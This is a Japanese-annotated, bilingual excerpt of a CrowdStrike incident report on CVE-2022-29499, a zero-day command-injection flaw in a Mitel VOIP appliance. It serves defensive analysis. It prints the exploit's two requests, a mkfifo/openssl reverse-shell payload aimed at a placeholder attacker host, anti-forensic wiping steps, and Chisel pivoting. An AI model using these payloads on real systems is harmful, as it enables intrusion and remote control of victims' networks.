どうやら一次情報は、クラウドストライクの以下の記事のようだ。抜粋して日本語化した。
The Call Is Coming from Inside the House: CrowdStrike Identifies Novel Exploit in VOIP Appliance (06/23)
l CrowdStrike Services recently performed an investigation that identified a compromised Mitel VOIP appliance as the threat actor’s entry point.
l The threat actor performed a novel remote code execution exploit on the Mitel appliance to gain initial access to the environment.
l CrowdStrike identified and reported the vulnerability to Mitel, and CVE-2022-29499 was created.
l The threat actor performed anti-forensic techniques on the VOIP appliance in an attempt to hide their activity.
² CrowdStrike Servicesは最近、侵害されたMitel VOIPアプライアンスを脅威要因の侵入口として特定する調査を実施しました。
² この脅威者は、環境への初期アクセスを得るために、Mitelアプライアンス上で新しいリモートコード実行エクスプロイトを実行しました。
² CrowdStrikeは、この脆弱性を特定し、Mitelに報告し、CVE-2022-29499が作成されました。
² 脅威者は、その活動を隠すために、VOIPアプライアンス上でアンチフォレンジック技術を実行しました。
Background
CrowdStrike Services recently investigated a suspected ransomware intrusion attempt. The intrusion was quickly stopped through the customer’s efforts and those of the CrowdStrike Falcon Complete™ managed detection and response (MDR) team, which was supporting this customer’s environment. CrowdStrike determined that all of the identified malicious activity had originated from an internal IP address associated with a device that did not have the CrowdStrike Falcon® sensor installed on it. Further investigation revealed that this source device was a Linux-based Mitel VOIP appliance sitting on the network perimeter; the availability of supported security or endpoint detection and response (EDR) software for these devices is highly limited.
CrowdStrike Servicesは最近、ランサムウェアによる侵入の疑いがある事例を調査しました。この侵入は、お客様の努力と、このお客様の環境をサポートしていたCrowdStrike Falcon Complete™マネージド検知・対応(MDR)チームの努力により、すぐに阻止されました。CrowdStrikeは、特定された悪意のある活動のすべてが、CrowdStrike Falcon®センサーがインストールされていないデバイスに関連する内部IPアドレスから発信されていることを突き止めたのです。さらに調査を進めると、この発信元のデバイスは、ネットワーク境界に設置されているLinuxベースのMitel VOIPアプライアンスであることが判明しました。これらのデバイスに対応するセキュリティまたはエンドポイント検出および応答(EDR)ソフトウェアは、非常に限定されています。
The device was taken offline and imaged for further analysis, leading to the discovery of a novel remote code execution exploit used by the threat actor to gain initial access to the environment. Thanks to close and immediate work with the Mitel product security incident response team (PSIRT) team, this was identified as a zero-day exploit and patched. The vulnerability was assigned CVE-2022-29499, and the associated security advisory can be found here.
このデバイスはオフラインにされ、さらなる分析のために画像化されました。その結果、脅威者が環境への最初のアクセスを得るために使用した新しいリモートコード実行エクスプロイトが発見されました。Mitel製品のセキュリティインシデント対応チーム(PSIRT)チームとの緊密かつ迅速な連携により、これはゼロデイエクスプロイトとして特定され、パッチが適用されました。この脆弱性にはCVE-2022-29499が割り当てられ、関連するセキュリティアドバイザリはこちらでご覧いただけます。
Discovery and Anti-Forensic Techniques
After tracing threat actor activity to an IP address assigned to the Mitel MiVoice Connect VOIP appliance, CrowdStrike received a disk image of the Linux system and began analysis. CrowdStrike’s analysis identified anti-forensic techniques that were performed by the threat actor on the Mitel appliance in an attempt to hide their activity. Given the close proximity in time between the earliest and most recent dates of activity, it was likely that the threat actor attempted to wipe their activity on the Mitel appliance after Falcon Complete detected their activity and prevented them from moving laterally.
脅威者の活動をMitel MiVoice Connect VOIPアプライアンスに割り当てられたIPアドレスまで追跡した後、CrowdStrikeはLinuxシステムのディスクイメージを受け取り、分析を開始しました。CrowdStrikeの分析により、脅威者がその活動を隠すためにMitelアプライアンス上で実行したアンチフォレンジック技術が特定されました。活動の最も古い日付と最も新しい日付の間の時間が近いことから、Falcon Completeが彼らの活動を検知し、横方向への移動を阻止した後、脅威行為者はMitelアプライアンス上の活動を消去しようとした可能性が高いと考えられます。
Although the threat actor deleted all files from the VOIP device’s filesystem, CrowdStrike was able to recover forensic data from the device. This included the initial undocumented exploit used to compromise the device, the tools subsequently downloaded by the threat actor to the device, and even evidence of specific anti-forensic measures taken by the threat actor.
脅威者はVOIPデバイスのファイルシステムからすべてのファイルを削除しましたが、CrowdStrikeはデバイスからフォレンジックデータを回復することができました。これには、デバイスを侵害するために使用された最初の文書化されていないエクスプロイト、脅威者がその後デバイスにダウンロードしたツール、さらには脅威者が行った特定のアンチフォレンジック対策の証拠も含まれていました。
Beyond removing files, the threat actor attempted to overwrite free space on the device. A recovered nohup.out file (generated by running a command via nohup) contained the following:
脅威者は、ファイルを削除するだけでなく、デバイスの空き領域を上書きすることも試みました。復元されたnohup.outファイル(nohupによるコマンド実行で生成)には、次のような内容が含まれていました。
rm: cannot remove '/cf/swapfile': Operation not permitted
dd: error writing '/tmp/2': No space left on device
10666+0 records in
10665+0 records out
11183382528 bytes (11 GB) copied, 81.3694 s, 137 MB/s
The messages in the recovered file indicated two things. First, the error for the rm1 command failing to delete the swap file demonstrated that rm was used as part of the nohup command. The original rm command run via nohup was likely designed to delete all files, but failed on the swapfile due to it being active, resulting in the error message.
復元されたファイルのメッセージから、2つのことがわかりました。まず、スワップファイルの削除に失敗したrm1コマンドのエラーは、rmがnohupコマンドの一部として使用されていることを実証しています。nohupを介して実行されたオリジナルのrmコマンドは、すべてのファイルを削除するように設計されていたようですが、スワップファイルがアクティブであったために失敗し、このエラーメッセージが表示されたものと思われます。
Second, the threat actor used the dd2 command to attempt to create a file (/tmp/2) that, because of its size, would overwrite all of the free space on the device (and indeed did, based on the dd error message “No space left on device”). This anti-forensic measure would have been taken to prevent recovery of data deleted via the initial rm command. However, in this instance, /tmp was on a separate partition than that storing HTTP access logs. While the log files were also deleted via the rm command, the free space that contained their contents was not overwritten, allowing the file contents to be recovered. These recovered HTTP access logs included evidence of the exploit used to compromise the device.
次に、脅威者は dd2 コマンドを使用して、そのサイズからデバイス上のすべての空き領域を上書きするファイル(/tmp/2)を作成しようとしました(dd のエラーメッセージ "No space left on device" から、実際に上書きされました)。このフォレンジック対策は、最初のrmコマンドで削除されたデータの復元を防ぐために行われたはずです。しかし、今回の場合、/tmpはHTTPアクセスログを保存しているパーティションとは別のパーティションにありました。HTTPアクセスログもrmコマンドで削除されましたが、その内容を含む空き領域は上書きされなかったため、ファイルの内容を復元することができました。復元されたHTTPアクセスログには、不正侵入の痕跡が含まれていました。
Exploit Details
The exploit involved two GET requests. The first request targeted a get_url parameter of a php file, populating the parameter with a URL to a local file on the device. This caused the second request to originate from the device itself, which led to exploitation. This first request was necessary because the actual vulnerable URL was restricted from receiving requests from external IP addresses. By first targeting the get_url parameter, the actual exploit request to the vulnerable page came from the local system.
この脆弱性は、2つのGETリクエストを含んでいます。最初のリクエストは、PHPファイルのget_urlパラメータをターゲットとし、パラメータにデバイス上のローカルファイルへのURLを入力しました。これにより、2つ目のリクエストはデバイス自体から発信されることになり、悪用されることになりました。実際の脆弱性のあるURLは、外部IPアドレスからのリクエストの受信が制限されているため、この最初のリクエストが必要でした。最初にget_urlパラメータをターゲットにすることで、脆弱性ページへの実際のエクスプロイトリクエストは、ローカルシステムから来ることになりました。
Note that the threat actor IP addresses have been replaced with invalid IPs 1.1.256.1 and 2.2.256.2 below. The URL-encoded portion at the end of the request below decodes to $PWD|sh|?.
なお、脅威の主体であるIPアドレスは、以下の無効なIPである1.1.256.1および2.2.256.2に置き換えられています。以下のリクエストの末尾にあるURLエンコードされた部分は、$PWD|sh|? です。
Request #1:
1.1.256.1 - - [01/Mar/2022:01:25:17 -TZ] "GET /scripts/vtest.php?get_url=http://127.0.0.1/ucbsync.php%3fcmd=syncfile:db_files/favicon.ico:2.2.256.2/%24%50%57%44%7c%73%68%7c%3f HTTP/1.1" 200 40
The second request included command injection that would cause the system to perform an HTTP GET request to attacker-controlled infrastructure, and then pipe the results of the request locally to sh.3 This would allow execution of whatever commands were stored on the attacker’s server at the requested URL. This vulnerability was caused by the PHP file in question splitting up the parameters for the syncfile command, one of which would subsequently be used by the appliance in a curl command. Because the request came from localhost — by first sending the request to the file with the get_url parameter — it was allowed. The request is shown below.
2つ目のリクエストには、攻撃者が管理するインフラへのHTTP GETリクエストを実行し、リクエストの結果をローカルにshにパイプするコマンドインジェクションが含まれていました3。これにより、攻撃者のサーバーに保存されているコマンドであれば、リクエストしたURLで実行できるようになります。この脆弱性は、問題の PHP ファイルが syncfile コマンドのパラメータを分割し、そのうちの 1 つがアプライアンスによって curl コマンドで使用されることによって発生します。リクエストはローカルホストから来るので、最初に get_url パラメータでファイルにリクエストを送信することで、許可されました。リクエストは以下のとおりです。
Request #2:
127.0.0.1 - - [01/Mar/2022:01:25:17 -TZ] "GET /ucbsync.php?cmd=syncfile:db_files/favicon.ico:2.2.256.2/$PWD|sh|? HTTP/1.0" 200 -
In addition to recovering the logs, CrowdStrike recovered the contents of two outbound HTTP requests from the appliance to the attacker’s infrastructure. These outbound requests were both caused by the second request shown above. The responses to the outbound requests were also recovered, which demonstrated that the attacker used the exploit to create a reverse shell.
ログの復元に加え、CrowdStrikeはアプライアンスから攻撃者のインフラへの2つのアウトバウンドHTTPリクエストの内容も復元しました。これらのアウトバウンドリクエストは、両方とも上記の2番目のリクエストによって引き起こされたものでした。このリクエストに対するレスポンスも復元され、攻撃者がリバースシェルを作成するためにこのエクスプロイトを使用したことがわかりました。
The first outbound request returned valid json related to the application to reach the vulnerable section of code.
最初のアウトバウンドリクエストは、コードの脆弱なセクションに到達するために、アプリケーションに関連する有効なjsonを返しました。
Outbound request and response #1:
GET /$PWD|sh|?/ucbsync.php?cmd=manifest HTTP/1.1
Host: 2.2.256.2
Accept: */*
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 01 Mar 2022 01:25:17 GMT
Content-type: text/html
{"db_files":[{"name":"exmaple0.jpg","size":55318,"date":000000000},{"name":"default_logo.jpg","size":4181,"date":0000000000},{"name":"favicon.ico","size":4364,"date":0000000000},{"name":"example1.jpg","size":73553,"date":0000000000},{"name":"example1.jpg","size":35299,"date":0000000000},{"name":"example2.jpg","size":58617,"date":0000000000},{"name":"default_banner.jpg","size":3148,"date":0000000000},{"name":"example2.jpg","size":63954,"date":0000000000},{"name":"example2.jpg","size":48666,"date":0000000000},{"name":"example3.jpg","size":65224,"date":0000000000},{"name":"example3.jpg","size":39322,"date":0000000000},{"name":"example4.jpg","size":34328,"date":0000000000},{"name":"example5.jpg","size":41095,"date":0000000000},{"name":"example6.jpg","size":43450,"date":0000000000},{"name":"example5.jpg","size":52095,"date":0000000000},{"name":"example7.jpg","size":8331,"date":0000000000}]}
The second outbound request showed the remote execution in action. The following recovered outbound GET request to /shoretel/wc2_deploy (hosted on the threat actor’s external infrastructure) included the payload in its response: an SSL-enabled reverse shell created via the mkfifo command and openssl s_client.
2番目のアウトバウンドリクエストは、リモート実行の動作を示していました。次の/shoretel/wc2_deployへの回復したアウトバウンドGETリクエスト(脅威者の外部インフラでホストされている)は、そのレスポンスにペイロードを含んでいます。
Outbound request and response #2:
GET //shoretel/wc2_deploy HTTP/1.1
User-Agent: curl/7.29.0
Host: 2.2.256.2
Accept: */*
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 01 Mar 2022 01:25:17 GMT
Content-type: text/html
mkfifo /tmp/.svc_bkp_1; /bin/sh -i < /tmp/.svc_bkp_1 2>&1 | openssl s_client -quiet -connect 2.2.256.2:443 > /tmp/.svc_bkp_1; rm /tmp/.svc_bkp_1
In other words, the threat actor had a webserver (via the Python SimpleHTTP module) running on infrastructure they controlled. On this webserver was a file named wc2_deploy that contained the mkfifo command shown above. Because the threat actor’s exploit request involved reaching out to this URL and piping the response to sh, this would cause the reverse shell command to be executed upon exploitation.
つまり、この脅威者は、彼らがコントロールするインフラストラクチャ上でWebサーバ(Python SimpleHTTPモジュール経由)を実行していたのです。このWebサーバーには、上記のmkfifoコマンドを含むwc2_deployという名前のファイルがありました。脅威者の悪用リクエストは、このURLにアクセスし、そのレスポンスをshにパイプするため、悪用されるとリバースシェルコマンドが実行されることになります。
Leveraging first in, first out (FIFO) pipes is a common technique to create a reverse shell. Often, shells created in this manner will use netcat instead of openssl s_client, but the functionality is the same, except that openssl s_client will use ssl and netcat will typically be plaintext.
先入れ先出し(FIFO)パイプを活用することは、リバースシェルを作成するための一般的な手法です。この方法で作成されたシェルは、しばしば openssl s_client の代わりに netcat を使用しますが、openssl s_client が ssl を使用し、netcat が通常プレーンテキストであることを除いて、機能は同じです。
Post-Exploitation Activity
Once the reverse shell was established, the threat actor created what appeared to be a webshell named pdf_import.php. The contents of pdf_import.php were not recovered; however, it was not a standard file name for the device, and a recovered log file included a POST request to the file that originated from the same IP address that the exploit requests originated from.
リバースシェルが確立されると、脅威者はpdf_import.phpという名前のウェブシェルと思われるものを作成しました。pdf_import.phpの内容は復元されていませんが、このデバイスの標準的なファイル名ではなく、復元されたログ ファイルには、エクスプロイト リクエストの発信元と同じIPアドレスから発信された当該webshellファイルへのPOST リクエストが含まれていました。
1.1.256.1 - - [1/Mar/2022:06:36:04 -0500] "POST /vhelp/pdf/pdf_import.php HTTP/1.1" 200 2
The threat actor also downloaded the tunneling/proxy tool Chisel onto the VOIP appliance, renamed it memdump and executed it. This binary acted as a reverse proxy to allow the threat actor to pivot further into the environment via the VOIP device. The execution of Chisel, as well as the POST request to pdf_import.php, both directly corresponded with malicious activity detected and blocked by Falcon Complete on internal devices, suggesting that the threat actor used both tools to attempt to move laterally into the environment.
また、脅威者は、トンネル/プロキシツールであるChiselをVOIPアプライアンスにダウンロードし、memdumpに名前を変えて実行しました。このバイナリはリバースプロキシとして機能し、脅威者は VOIP デバイスを経由してさらに環境内に侵入することができます。Chiselの実行とpdf_import.phpへのPOSTリクエストは、どちらも内部デバイス上でFalcon Completeによって検出、ブロックされた悪意のある活動と直接対応しており、脅威者が両方のツールを使用して環境内に横方向に移動しようとしたことが示唆されます。
Conclusion
Timely patching is critical to protect perimeter devices. However, when threat actors exploit an undocumented vulnerability, timely patching becomes irrelevant. That’s why it’s crucial to have multiple layers of defense, such as Falcon Complete MDR, which performs threat monitoring and remediation of malicious activity 24/7. Critical assets should be isolated from perimeter devices to the extent possible. Ideally, if a threat actor compromises a perimeter device, it should not be possible to access critical assets via “one hop” from the compromised device. In particular, it’s critical to isolate and limit access to virtualization hosts or management servers such as ESXi and vCenter systems as much as possible. This can involve jump-boxes, network segmentation and/or multifactor authentication (MFA) requirements.
境界デバイスを保護するためには、タイムリーなパッチ適用が重要です。しかし、脅威者が文書化されていない脆弱性を悪用した場合、適時のパッチ適用が無意味になります。だからこそ、脅威の監視と悪意のある活動の修復を24時間365日行うFalcon Complete MDRのような、複数の防御層を持つことが極めて重要なのです。重要な資産は、可能な限り境界デバイスから隔離されるべきです。理想的には、脅威者が境界のデバイスを侵害した場合、侵害されたデバイスから「ワンホップ」で重要な資産にアクセスすることはできないようにすべきです。特に、ESXiやvCenterなどの仮想化ホストや管理サーバへのアクセスは、可能な限り隔離し制限することが重要です。これには、ジャンプボックス、ネットワークのセグメンテーション、多要素認証(MFA)などが必要です。
Having an up-to-date and accurate asset inventory is also critically important, as you can’t protect something if you don’t know it exists. In addition, it’s important to ensure all service accounts are managed and accounted for, and that the capability exists to detect abnormal account usage. CrowdStrike Falcon Identity Protection can provide such insight by alerting on stale account usage as well as when accounts are associated with abnormal source or destination systems — and even forcing MFA challenges for users accessing critical assets.
また、最新かつ正確な資産目録を作成することも、非常に重要です。さらに、すべてのサービスアカウントが管理され、説明されていること、そしてアカウントの異常な使用を検出する機能があることを確認することが重要です。CrowdStrike Falcon Identity Protectionは、古いアカウントの使用や、アカウントが異常な送信元または送信先システムに関連付けられている場合、さらには重要な資産にアクセスするユーザーに対してMFA課題を強制する場合などにアラートを出すことによって、このような洞察を提供することが可能です。